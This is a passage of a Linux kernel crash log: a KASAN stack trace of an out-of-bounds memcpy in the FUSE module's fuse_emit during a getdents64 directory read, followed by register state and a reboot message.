13.641099] panic+0xc9/0xc9 [ 13.641240] ? __pfx_panic+0x10/0x10 [ 13.641382] ? panic_on_this_cpu+0x15/0x30 [ 13.641548] ? _raw_spin_unlock_irqrestore+0x11/0x40 [ 13.641747] ? check_panic_on_warn+0x2f/0x60 [ 13.641880] end_report.cold+0x65/0x75 [ 13.642005] kasan_report+0xeb/0x110 [ 13.642120] ? fuse_emit+0x2e3/0x490 [fuse] [ 13.642537] ? fuse_emit+0x2e3/0x490 [fuse] [ 13.642943] kasan_check_range+0x125/0x200 [ 13.643080] __asan_memcpy+0x3c/0x60 [ 13.643222] fuse_emit+0x2e3/0x490 [fuse] [ 13.643693] fuse_readdir_uncached+0x7ab/0xc40 [fuse] [ 13.644073] ? fuse_do_getattr+0x270/0x3a0 [fuse] [ 13.644527] ? __pfx_fuse_readdir_uncached+0x10/0x10 [fuse] [ 13.644951] ? __pfx_fuse_do_getattr+0x10/0x10 [fuse] [ 13.645339] ? update_load_avg+0x100/0xc10 [ 13.645527] ? _raw_spin_unlock+0xd/0x30 [ 13.645735] ? finish_task_switch.isra.0+0xc3/0x370 [ 13.645936] ? down_read_killable+0x136/0x1f0 [ 13.646064] ? iterate_dir+0xa9/0x250 [ 13.646186] iterate_dir+0xe6/0x250 [ 13.646347] ? fdget_pos+0x132/0x210 [ 13.646516] __x64_sys_getdents64+0xea/0x1a0 [ 13.646717] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 13.646868] ? __pfx_filldir64+0x10/0x10 [ 13.647074] do_syscall_64+0xa4/0x2f0 [ 13.647221] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 13.647401] RIP: 0033:0x426e9d [ 13.647549] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 f0 ff ff ff f7 d8 64 89 01 48 [ 13.647971] RSP: 002b:00007ffcaa196268 EFLAGS: 00000246 ORIG_RAX: 00000000000000d9 [ 13.648177] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 0000000000426e9d [ 13.648379] RDX: 0000000000004000 RSI: 00007ffcaa198380 RDI: 0000000000000004 [ 13.648637] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 13.648815] R10: 0000000000000001 R11: 0000000000000246 R12: 00007ffcaa198380 [ 13.648976] R13: 00007ffcaa19c518 R14: 00007ffcaa196280 R15: 00000000004b4100 [ 13.649158] [ 13.649818] Kernel Offset: 0x19e00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 13.650321] Rebooting in 1 seconds..